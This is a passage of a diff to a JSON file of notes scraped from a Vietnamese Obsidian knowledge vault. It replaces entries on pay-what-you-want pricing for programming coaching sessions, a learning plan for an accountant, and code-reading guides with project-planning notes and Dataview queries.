đầu tiên của em. Có thể những điều này anh Minh cũng đã suy nghĩ hết rồi, và đang có trong một kế hoạch sắp tới nào đó. Nhưng em nghĩ việc hỏi luôn bây giờ cũng không có vấn đề gì. \n\nKhông biết mọi người thấy sao về ý tưởng này?\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-26T08:55:00.000Z", - "Ngày cập nhật": "2024-08-10T10:22:00.000Z", - "id": "O7" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-10-28T06:05:00.000Z", + "id": "OL" }, { - "Tiêu đề": "Khi nào thì chiến lược định giá \"trả tuỳ tâm\" đạt được sự bền vững?", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình", + "Tiêu đề": "Kế hoạch phát triển dự án", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/6 Kế hoạch/Kế hoạch phát triển dự án", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Liệu nó có thể áp dụng cho các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình không?", - "Toàn bộ nội dung": "Theo quyển [Smart Pricing: How Google, Priceline, and Leading Businesses Use Pricing Innovation for Profitability](Raju-Smart-Pricing.pdf) của NXB Wharton School, các dự án áp dụng chiến lược định giá trả tuỳ tâm thành công có 5 đặc điểm chung sau:\n1. Chi phí biên thấp\n2. Khách hàng có ý định sòng phẳng\n3. Sản phẩm có thể bán được ở nhiều mức giá khác nhau (VD: người mua $3, $10 hay $20 đều có cái lý của họ) \n4. Người mua và người bán có mối quan hệ tốt\n5. Thị trường rất cạnh tranh\n\nChúng ta hãy xem xem liệu [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] có đáp ứng được các đặc điểm này hay không.\n\n## Chi phí biên thấp\nChi phí biên là chi phí để sản xuất thêm một sản phẩm. Do ta không thể sản xuất đại trà các buổi này như nhà máy làm hàng loạt sản phẩm nên chắc chắn chi phí biên không thấp rồi. Nhưng nó cũng không quá cao như là bán xe. Hơn nữa việc làm việc trực tiếp cũng là cần thiết cho việc phỏng vấn, nên chắc cũng không gọi là cao.\n\nĐiểm: 6/10\n\n## Khách hàng có ý định sòng phẳng\nKhách hàng không muốn mình bị xem là thiếu sòng phẳng, trục lợi, ích kỷ. Đây là các lý do khiến họ muốn tự điều chỉnh mình để không bị xem là thiếu sòng phẳng khi tham gia các buổi này:\n- Họ sẽ phải ghi lý do vì sao họ thấy giá tiền họ trả là hợp lý\n- Bản chất của việc hướng dẫn buộc họ phải tiếp tục tiếp xúc với người hướng dẫn. Nếu họ trả sòng phẳng, thì sự thiếu sòng phẳng sẽ không ám ảnh họ liên tục\n- Nếu mô hình thành công thì họ sẽ có được những lớp học tiếp theo với giá rẻ. Nếu thất bại thì họ sẽ không có được những lớp học khác cho các nội dung khác với giá rẻ\n\nĐiểm: 7/10\n\n## Sản phẩm có thể bán được ở nhiều mức giá khác nhau \nĐiều kiện này nghĩa là sản phẩm có thể trả theo nhiều mức giá khác nhau (VD: $3, $10 hay $20), mà mỗi mức giá đều có sự hợp lý của nó. Các buổi này có thể đáp ứng được điều này. Tuy nhiên, họ sẽ chỉ trả cho cái lý đó. Để có lời thì sẽ cần những người trả nhiều tiền hơn mức hoà vốn để bù lỗ cho người trả thiếu. Nhưng người trả nhiều tiền hơn vì họ thấy giá trị sản phẩm tương đương với mức giá đó, chứ không phải vì muốn bù lỗ cho người trả thiếu.\n\nĐiểm: 8/10\n\n## Người mua và người bán có mối quan hệ tốt\nViệc tạo thiện cảm cho khách hàng làm họ tự động muốn họ trả lại lòng tốt. Đây là một số cách mà Quả Cầu làm để đạt được điều này:\n - Thể hiện mình đặt nhu cầu của họ lên trên bằng cách cho họ tự định giá sức lao động của mình\n - Cung cấp kiến thức sâu: [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình|Khi nào thì chiến lược định giá \"trả tuỳ tâm\" đạt được sự bền vững?]], [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]], [[Lý do viết Trấn Kỳ|Tại sao các phần mềm nocode hay ChatGPT vẫn không đủ để thay thế lập trình trong việc quản trị?]]\n - [[📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Kế hoạch/Kế hoạch|Kế hoạch tổ chức các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình]] ([[Nhìn thấy được người kia đang làm gì làm tăng sự tin tưởng đối với họ]])\n\nĐiều này cũng có nghĩa là điều kiện này chỉ xảy ra khi khách hàng đã chịu khó đọc bài trước. Với những người không có thời gian đọc bài thì cảm giác tin tưởng sẽ không được phát triển. Xem thêm phần [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình#Vấn đề về sự không đầy đủ thông tin|Vấn đề về sự không đầy đủ thông tin]].\n\n Điểm: 7/10\n \n## Thị trường rất cạnh tranh \nĐã có hằng hà sa số khoá học lập trình rồi, cả miễn phí lẫn có phí, online lẫn offline, tiếng Việt lẫn tiếng Anh. Việc dùng mô hình này khiến ta không phải cạnh tranh về giá với các khoá học đó. \n\nĐiểm: 7/10\n\n# Vấn đề về sự không đầy đủ thông tin\nBạn đang lo lắng rằng với hình thức này:\n- Khách hàng sẽ thấy giá thấp nghĩa là chất lượng kém?\n- Khách hàng sẽ thấy hoang mang khi không biết phải trả bao nhiêu?\n- Khách hàng sẽ thấy nhức đầu khi phải tự định giá, nên dẹp luôn không tham gia nữa?\n\nTất cả những vấn đề này đều có chung một lý do: **khách hàng chưa có đủ thông tin để quyết định**. Khi có đủ thông tin rồi, thì giá không còn là tín hiệu duy nhất phản ánh giá trị của sản phẩm nữa. Người dùng đã hình thành nên giá mà họ thấy là xứng đáng rồi.\n\nNhững bài viết ở phần [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình#Người mua và người bán có mối quan hệ tốt|Người mua và người bán có mối quan hệ tốt]] sẽ cung cấp thông tin cho họ. Câu hỏi đặt ra lúc này là liệu họ có dành thời gian để đọc chúng hay không?\n\nNhư đã phân tích trong các bài đó, đối tượng tham gia tiềm năng nhất là những người đã xác định là phải biết lập trình nhưng không thể dành quá nhiều thời gian để học lập trình từ đầu và cũng không có tiền để thuê lập trình viên riêng. Họ cần tìm một khoá học phù hợp với các giới hạn hiện tại của mình. Người như vậy thì sẽ không thấy phí thời gian cho việc tìm hiểu thông tin, và cũng sẽ không thấy nhức đầu khi phải đọc chúng. Làm việc với họ sẽ đem lại nhiều điều thú vị cho chính người hướng dẫn.\n\nVới những người không đọc trước nên cho rằng chất lượng kém, hoặc thấy rằng không cần trả nhiều tiền vì mình không có nhu cầu quá cao, thì trong phiếu đăng ký họ sẽ khó cạnh tranh lại được với những người thể hiện rằng mình là người xứng đáng có được cơ hội hợp tác này. Họ có thể đến nghe ké.\n\nĐể hiểu thêm về chiến lược định giá này, đọc thêm: [What stops the pay-what-you-want pricing strategy from being more popular? - Economics Stack Exchange](https://economics.stackexchange.com/q/57273/45941)\n\n# Giá trị của những phân tích này\n\nViệc chấm điểm rốt cuộc chỉ là cảm tính, chứ có tiêu chí nào cho nó đâu. Việc khách hàng dùng tiền để đánh giá chất lượng sản phẩm cũng giống như nhà tuyển dụng cầm tấm bằng để đánh giá năng lực ứng viên. Rốt cuộc chúng ta chỉ đang đánh giá người khác qua một con số mà thôi. [[Chỉ theo đuổi một chỉ số là quá đơn giản]].\n\nNên thành ra, việc tự chấm điểm để bạn thấy mô hình này thành công thực ra chỉ là một sự mỉa mai bản thân .\n\n[[Con người thường cố gắng tìm ra mẫu hình, kể cả khi nó không có ở đó]]\nKhông thể kết luận được gì, nhưng có thể dùng cho việc làm các mô hình dự đoán, ứng dụng được cho máy học, hồi quy logistic \n[[Máy học dự đoán xem mẫu hình có bao nhiêu khả năng lặp lại trong tương lai]]. Nó giúp ngành y cứu người, nhưng lại làm cho ngành tư pháp thêm thách thức vì [[Việc dùng máy học có thể làm ta nghĩ mô hình rất phức tạp mặc dù thực chất nó rất đơn giản]]\n![The danger of predictive algorithms in criminal justice | Hany Farid | TEDxAmoskeagMillyard - YouTube](https://youtu.be/p-82YeUPQh0?si=oVmv52ZlZoym0Rum)\n![Imagine Predictive Analytics Putting a Crystal Ball in Your Hand | Dr. Phil Wells | TEDxKanata - YouTube](https://youtu.be/QWps8A-hljw?si=-1uQbDlJ7Ww8sE_S)\n\n[[Trực giác là việc nhìn ra mẫu hình không hơn không kém]]\n[[Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình]]", + "Toàn bộ nội dung": "Nhu cầu:: các nhóm liên thông dữ liệu với nhau, Quả Cầu có thêm người quan tâm\n\n# Thành quả mong muốn\n%%\nThành quả cần có:: [[50 nhóm dự án sử dụng Obsidian để quản lý công việc]]\n\nThành quả hỗ trợ:: [[10 người đóng góp xây vault]]\n\nThành quả hỗ trợ:: [[20% người tham gia tìm hiểu về Quả Cầu]]\nThành quả hỗ trợ:: [[20% người tham gia liên thông dữ liệu với các vault khác]]\nThành quả hỗ trợ:: [[50% người đóng góp đáp ứng được các nhu cầu khác của họ]] \n\n\n- Cung cấp kiến thức công nghệ áp dụng được cho việc hoạt động như một bầy chim sáo\n- Nhấn mạnh vào sự khác biệt với những phần mềm khác và ý nghĩa của nó\n- Giúp những người tự nhận là mình ngu công nghệ thấy được mình có thể làm chủ công nghệ như thế nào\n- Là một đầu mối để khám phá và kết nối các dự án khác\n\n%%\n## Cần có\n```dataview\nList\nFrom outgoing([[]])\nWhere contains(this.thành-quả-cần-có,file.link)\n```\n## Hỗ trợ\n```dataview\nList\nFrom outgoing([[]])\nWhere contains(this.thành-quả-hỗ-trợ,file.link)\n```\n# Thành phẩm chính\n```dataview\nList \nFrom #file/thành-phẩm \nwhere file.inlinks.độ-cấp-thiết\nSort trạng-thái desc\n```\n\n# Công việc\n```dataview \ntask\nwhere file.inlinks.độ-cấp-thiết and !fullyCompleted\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-16T07:05:00.000Z", - "id": "O8" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "OM" }, { - "Tiêu đề": "Trần Thuý Hoà", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Người tham gia/Trần Thuý Hoà", + "Tiêu đề": "Kế hoạch tổng", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/6 Kế hoạch/Kế hoạch tổng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Lộ trình hướng dẫn cho chị Hoà (kế toán, dữ liệu) \n## Chương trình Beancount\nDemo:\n- Đầu vào: [\"Managing Your Finances Using Python\" - Brian Ryall - YouTube](https://www.youtube.com/watch?v=mFzctYkktXQ)\n- Đầu ra: [Income Statement - Example Beancount file](https://fava.pythonanywhere.com/example-beancount-file/income_statement/)\n\n| Đặc điểm | Lợi ích |\n| ------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Viết bằng Python | Cơ hội để thực hành Python |\n| Là chương trình bút toán kép | Ứng dụng được ngay vào công việc của chị |\n| Dùng được trên CLI |
  • [Cơ hội làm quen với terminal](https://lậptrình.quảcầu.cc/✍️Lập%20trình/Hệ%20điều%20hành,%20path%20và%20terminal/Terminal,%20shell,%20console/Terminal%20là%20cái%20chương%20trình%20để%20làm%20việc%20với%20shell?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Trang+chủ)&utm_medium=Vault&utm_campaign=C2&utm_content=&utm_term=), công cụ giúp chị bước vào cái lõi của hệ điều hành
  • Thấy được bản chất của việc đấu nối các phần mềm lại với nhau thế nào. Có thể minh hoạ việc này bằng việc kết hợp nó với Trấn Kỳ
  • |\n| Dữ liệu chương trình lưu dưới dạng tập tin | Hiểu được giá trị của việc lưu dữ liệu tại máy người dùng. Hiểu được việc dùng [Git](https://lậptrình.quảcầu.cc/📊Tổ%20chức%20dữ%20liệu.%20Phân%20tích%20dữ%20liệu/Tổ%20chức%20dữ%20liệu/Git/Git%20giúp%20ta%20du%20hành%20thời%20gian?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Trang+chủ)&utm_medium=Vault&utm_campaign=C2&utm_content=&utm_term=) |\n| Tạo lệnh truy vấn phức tạp được | Tương tự SQL nên cũng giúp làm quen với SQL được |\n| Điều khiển hoàn toàn bằng bàn phím | Giảm đau cổ tay do phải cầm chuột nhiều, nhưng sẽ phải chịu khó đọc hướng dẫn sử dụng |\n| Là phần mềm tự do | Thấy được [[Khi nói đến mã nguồn mở, đa số chỉ để ý tới việc được đọc mã nguồn, chứ không để ý đến quyền được chỉnh sửa và phân phối nó\\|các phần mềm mã nguồn đóng đã xiềng xích mình đến mức độ nào]] |\n| Miễn phí | Cắt giảm chi phí mua phần mềm |\n| Có sẵn trang báo cáo | Đỡ phải tạo trang báo cáo riêng |\n\nCân nhắc:\n- Em chưa dùng nó bao giờ, thuật ngữ kế toán em cũng không rành\n- Các giải pháp dữ liệu khác như PowerBI có thể cũng đáp ứng được các nhu cầu này. Nó sẽ tuỳ vào việc chị muốn một phần mềm chuyên môn hoá hay có khả năng linh hoạt\n\nXem thêm:: [So sách chức năng của Misa với Beancount](https://kiếmtiền.quảcầu.cc/Tài-nguyên-hỗ-trợ/Quang-cảnh-thị-trường/Chương-trình-quản-lý-tiền/4-Loại-chương-trình/Chương-trình-kế-toán?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Dự+án)&utm_medium=Vault&utm_campaign=&utm_content=📐+Dự+án%2FCác+buổi+đáp+ứng+nhu+cầu+học+cách+sử+dụng+công+cụ+và+tư+duy+lập+trình+cho+nhu+cầu+công+việc%2F9+Blog%2FNgười+tham+gia%2FTrần+Thuý+Hoà.md&utm_term=) \n# Trấn Kỳ\n[Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng?](https://slide.quảcầu.cc/Đáp%20ứng%20nhu%20cầu%20doanh%20nghiệp/VNPAY.html?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Dự+án)&utm_medium=Vault&utm_campaign=&utm_content=📐+Dự+án%2FCác+buổi+đáp+ứng+nhu+cầu+học+cách+sử+dụng+công+cụ+và+tư+duy+lập+trình+cho+nhu+cầu+công+việc%2F9+Blog%2FNgười+tham+gia%2FTrần+Thuý+Hoà.md&utm_term=) \n# Các vấn đề về Excel \n```dataview\nlist\nfrom \"⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel\" \n```\n# Giới thiệu chung\n![[Pasted image 20240221020431.png]]\n\nE ơi như hôm trước trao đổi, chị gửi lại em 1 số nội dung liên quan đến data/lập trình chị muốn tìm hiểu và muốn nhờ em bố trí giúp chị 1 lộ trình Coach 1:1 để chị có thể tìm hiểu về lập trình/AI/data và các công cụ . Em xem và advise giúp chị 1 lộ trình nhé. \nVề thời điểm học, chị có thể start luôn tuần này vào buổi tối hoặc cuối tuần nhé. \nVề việc chi trả, chị cũng đọc và thấy em offer việc định giá \"trả tùy tâm\" nhưng chị cũng ko có nhiều insight lắm nên có thể em cho chị 1 range nào cụ thể để chị em mình trao đổi cho dễ e nhé.\n\n---\n## Tổng quan\nĐầu tiên, em muốn giải thích một chút về ngành công nghệ thông tin. Ngành này chia ra 4 chuyên môn chính:\n- **Khoa học máy tính:** hiểu biết chung về máy tính\n- **Kỹ thuật phần mềm:** ứng dụng những hiểu biết về máy tính trong việc bảo nó làm điều mình cần nó làm (lập trình, tự động hoá, viết code) \n- **Hệ thống thông tin:** ứng dụng của việc viết code đó vào việc quản lý thông tin nội bộ. Các ERP, CRM là những ví dụ\n- **Phân tích dữ liệu:** ứng dụng của việc viết code đó vào việc tạo báo cáo và thêm insight. Đây là cái chị cần\n\nBất cứ sản phẩm công nghệ nào cũng là tổ hợp của 4 cái này, đặc biệt là 2 cái đầu. Em có thể tự tin có thể giải đáp được mọi thắc mắc của chị về 2 cái đầu, cái thứ 3 cũng khá tự tin, nhưng cái cuối thì không tự tin bằng. \n## Phân tích dữ liệu\nMột nghiệp vụ liên quan đến dữ liệu thường có 4 bước sau đây:\n- Thu thập dữ liệu\n- Lưu trữ dữ liệu\n- Xử lý dữ liệu\n- Báo cáo dữ liệu\n\nThì cũng tương tự như trên, em dự đoán mình có thể trả lời khoảng 70% những thắc mắc của chị liên quan tới 3 cái đầu, còn cái cuối thì không nhiều lắm. Mà có lẽ bước đó là cái chị quan tâm nhất.\n\nTrong mục xử lý dữ liệu có một số chủ đề nữa:\n- Xử lý ngôn ngữ tự nhiên\n- Máy học và trí tuệ nhân tạo\n\nNhững cái này là cái mà em nghĩ chị nói tới khi nói \"cập nhật xu thế công nghệ\", vì khá nhiều xu thế công nghệ thực ra chỉ là 2 cái", + "Toàn bộ nội dung": "Nhu cầu:: các nhóm liên thông dữ liệu với nhau, Quả Cầu có thêm người quan tâm\n\n# Thành quả mong muốn\n%%\nThành quả cần có:: [[50 nhóm dự án sử dụng Obsidian để quản lý công việc]]\n\nThành quả hỗ trợ:: [[10 người đóng góp xây vault]]\n\nThành quả hỗ trợ:: [[20% người tham gia tìm hiểu về Quả Cầu]]\nThành quả hỗ trợ:: [[20% người tham gia liên thông dữ liệu với các vault khác]]\nThành quả hỗ trợ:: [[50% người đóng góp đáp ứng được các nhu cầu khác của họ]] \n\n\n- Cung cấp kiến thức công nghệ áp dụng được cho việc hoạt động như một bầy chim sáo\n- Nhấn mạnh vào sự khác biệt với những phần mềm khác và ý nghĩa của nó\n- Giúp những người tự nhận là mình ngu công nghệ thấy được mình có thể làm chủ công nghệ như thế nào\n- Là một đầu mối để khám phá và kết nối các dự án khác\n\n%%\n## Cần có\n```dataview\nList\nFrom outgoing([[]])\nWhere contains(this.thành-quả-cần-có,file.link)\n```\n## Hỗ trợ\n```dataview\nList\nFrom outgoing([[]])\nWhere contains(this.thành-quả-hỗ-trợ,file.link)\n```\n# Thành phẩm chính\n```dataview\nList \nFrom #file/thành-phẩm \nwhere file.inlinks.độ-cấp-thiết\nSort trạng-thái desc\n```\n\n# Công việc\n```dataview \ntask\nwhere file.inlinks.độ-cấp-thiết and !fullyCompleted\n```\n\n[[Gõ tắt]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-20T14:03:00.000Z", - "id": "O9" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "ON" }, { - "Tiêu đề": "Các buổi hướng dẫn hiểu các công cụ và kỹ thuật lập trình", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Theo kỹ thuật/Các buổi hướng dẫn hiểu các công cụ và kỹ thuật lập trình", + "Tiêu đề": "Quý II – 2023", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/6 Kế hoạch/Quý II – 2023", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Kết quả đầu ra\n- Biết được người ta nói cái gì khi google \n- Biết cách dùng github\n\n# Mục tiêu\n- Hiểu được một số khái niệm của ngôn ngữ hướng vật thể: object, method, array, for, if, import, function, type, interface\n- Nắm được cách làm việc với:\n\t- Git\n\t- Terminal\n\t- IDE:\n\t\t- Hiểu được IDE đang cố gắng nói cho mình cái gì\n- Nắm được các kỹ năng đọc code product:\n\t- Hiểu được cấu trúc một dự án\n\t- Hiểu một số nguyên tắc viết code để dễ bảo trì, mở rộng tính năng\n\t- Biết một số kỹ thuật debug: console.log, debugger, unit test \n\n# Ngôn ngữ\nJavascript/TypeScript \nOOP, SOLID, debug, unicode, design pattern \nVS Code, Deno, Fibery\nGit, terminal \n\n\n[[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]{ .md-button .md-button--primary }", + "Toàn bộ nội dung": "# Thành quả mong muốn khi hết quý\n- [ ] Kiểm định giả thuyết\n- [ ] 10 [[50 nhóm dự án sử dụng Obsidian để quản lý công việc|nhóm dự án sử dụng Obsidian để quản lý công việc]]\n- [ ] 1 [[1 người tham gia phỏng vấn mỗi tuần|người tham gia phỏng vấn mỗi tuần]]\n- [ ] 10 [[người làm vault để quản lý cuộc sống của họ]]\n\n## Tháng 4\n- [ ] 2 [[50 nhóm dự án sử dụng Obsidian để quản lý công việc|nhóm dự án sử dụng Obsidian để quản lý công việc]]\n- [ ] 4 [[1 người tham gia phỏng vấn mỗi tuần|người tham gia phỏng vấn]]\n- [ ] 2 [[người làm vault để quản lý cuộc sống của họ]]\n\t- [ ] [[Nghi]]\n\n## Tháng 5\n- [ ] Kiểm định giả thuyết\n\n# Thành phẩm\n```dataview \ntask\nwhere file.inlinks.độ-cấp-thiết and !fullyCompleted and file.name!=this.file.name\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-06T10:59:00.000Z", - "id": "OA" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "OO" }, { - "Tiêu đề": "Hướng dẫn đọc code cho người thấy việc biết lập trình là quan trọng nhưng không thể biến nó trở thành ưu tiên cao nhất", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Theo kỹ thuật/Hướng dẫn đọc code cho người thấy việc biết lập trình là quan trọng nhưng không thể biến nó trở thành ưu tiên cao nhất", + "Tiêu đề": "Số người tham gia mới (user acquisition)", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/7 Tài liệu/Các chỉ số/Số người tham gia mới (user acquisition)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#file/thành-phẩm/bài-viết \n%%\nBạn không muốn lệ thuộc.\n\nBạn muốn biết lập trình chứ không phải là không, nhưng:\n- Còn nhiều nhu cầu khác bạn phải xử lý, nên dù bạn cứ suy nghĩ rằng một ngày nào đó mình phải dành thời gian cho nó, nhưng mãi mà bạn vẫn không thể biến nó trở thành ưu tiên cao nhất\n- Tài liệu hướng dẫn mang danh là dành cho người mới, nhưng nó vẫn quá nhiều thứ với bạn\n\nVàààààààà đến một ngày bạn có một bài toán thực sự cần phải code, và bạn không thể nhờ ai khác code cho được. Thực sự là bạn phải xắn tay vào làm rồi.\n\nNhưng thực sự là bạn không thể thong thả để làm được. Bạn biết là việc học thì sẽ mất thời gian, và nếu nó cần phải mất nhiều thời gian thì bạn cũng phải chịu thôi nhưng bạn vẫn cảm thấy mình cần phải . Cái trạng thái đó không phải là cái trạng thái phù hợp cho việc học, nhưng the brain is funny.\n\nViệc nhảy ngang như vậy làm cho không một tài liệu hướng dẫn nào theo kịp bạn. Vì muốn hướng dẫn bạn thì phải áng chừng được trình độ bạn đang ở đâu. Và một code product thì người ta không kỳ vọng rằng phải giải thích tất cả những thứ căn bản\n[[Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm]]\n\nLao ngay vào code trong product thì hổng kiến thức do nhiều chỗ viết tắt cho dễ đọc, dễ quản lý. Học từ từ thì thấy lãng phí thời gian.\nĐể đọc được tới dòng này là cả một sự nỗ lực ở lại của bạn. Dù bạn có từng đọc bao nhiêu trang khác rồi thì \nChỉ ghi lại những thứ mất nhiều thời gian để nhận ra. Cái nào dễ thấy thì ko ghi \n- muốn nhưng google được là có thì không ghi. Khi nào bị bug rồi mới phát hiện ra một cái gì đó mà không thấy ai nói gì thì mới ghi\n- Nếu cản trở sự đọc hiểu mà phải google thì cũng ghi ra \n\n\n\n[[❓ Học code bằng việc debug product code sẽ nhanh hơn]]\nNó là cách học qua bắt chước\nGit blame\nHướng dẫn đọc hiểu code cho người rất lờ mờ về code\nBiết được cách debug là sẽ dần dần biết cách bắt chước\nLàm trên code sản phẩm là sát sườn nhất\ncố gắng tái tạo lại ý đồ của người viết lúc tạo ra đoạn code đó\nnói gì, bạn muốn biết phải bắt đầu google từ đâu, nhưng \n\nMột số thứ sẽ giúp bạn hiểu code nói gì:\n- Biết thao tác với IDE,\n- Hiểu được một số khái niệm và từ khoá cơ bản: object, method, array, for, if, import, function, type\n- Hiểu một số quy ước viết code\n- Hiểu được IDE đang cố gắng nói cho mình cái gì\n- Biết một số kỹ thuật debug: console.log, debugger, unit test\n# Thao tác với IDE\n[[Phím tắt cho VS Code]]\n\n# Hiểu quy tắc viết tài liệu\n```js\n/**\n * Tên hàm\n * @constructor\n * @param {string} title - The title of the book.\n * @param {string} author - The author of the book.\n */\nfunction hàm(biến1, biến2) {\n}\n```\n\n[[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\n\n\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-13T12:21:00.000Z", - "Ngày cập nhật": "2024-07-30T08:45:00.000Z", - "id": "OB" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-08T08:04:00.000Z", + "id": "OP" }, { - "Tiêu đề": "Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Theo mục tiêu/Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý", + "Tiêu đề": "Số người tiếp tục tham gia theo thời gian (retention)", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/7 Tài liệu/Các chỉ số/Số người tiếp tục tham gia theo thời gian (retention)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Nhập dữ liệu và tạo bảng phân loại ngay trên hệ thống bạn đang dùng", - "Toàn bộ nội dung": "Nếu bạn đang tìm một chương trình:\n- [x] Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\n- [x] Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\n- [x] Tích hợp được vào hệ thống vận hành hiện tại của bạn:\n - Đầu vào: báo cáo ngân hàng, hoá đơn bán lẻ, Google Keep, Discord, Telegram, Zalo, Messenger, v.v.\n - Đầu ra: Google Sheet, Notion, Obsidian, Fibery, Odoo, WordPress, SQL, v.v. \n- [x] Không giam dữ liệu của bạn tại chương trình \n- [x] Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\n- [x] Dùng được trên điện thoại khi không có mạng\n- [x] Là phần mềm tự do và mã nguồn mở\n\nThì Trấn Kỳ CLI là dành cho bạn.\n\n![Giao diện khởi động của Trấn Kỳ CLI](https://i.imgur.com/rBe2iQ9.png)\n\n## Một số ví dụ về việc tích hợp Trấn Kỳ vào hệ thống\n### Nhập liệu từ Google Keep\nGoogle Keep là một phần mềm ghi chú rất phổ biến với 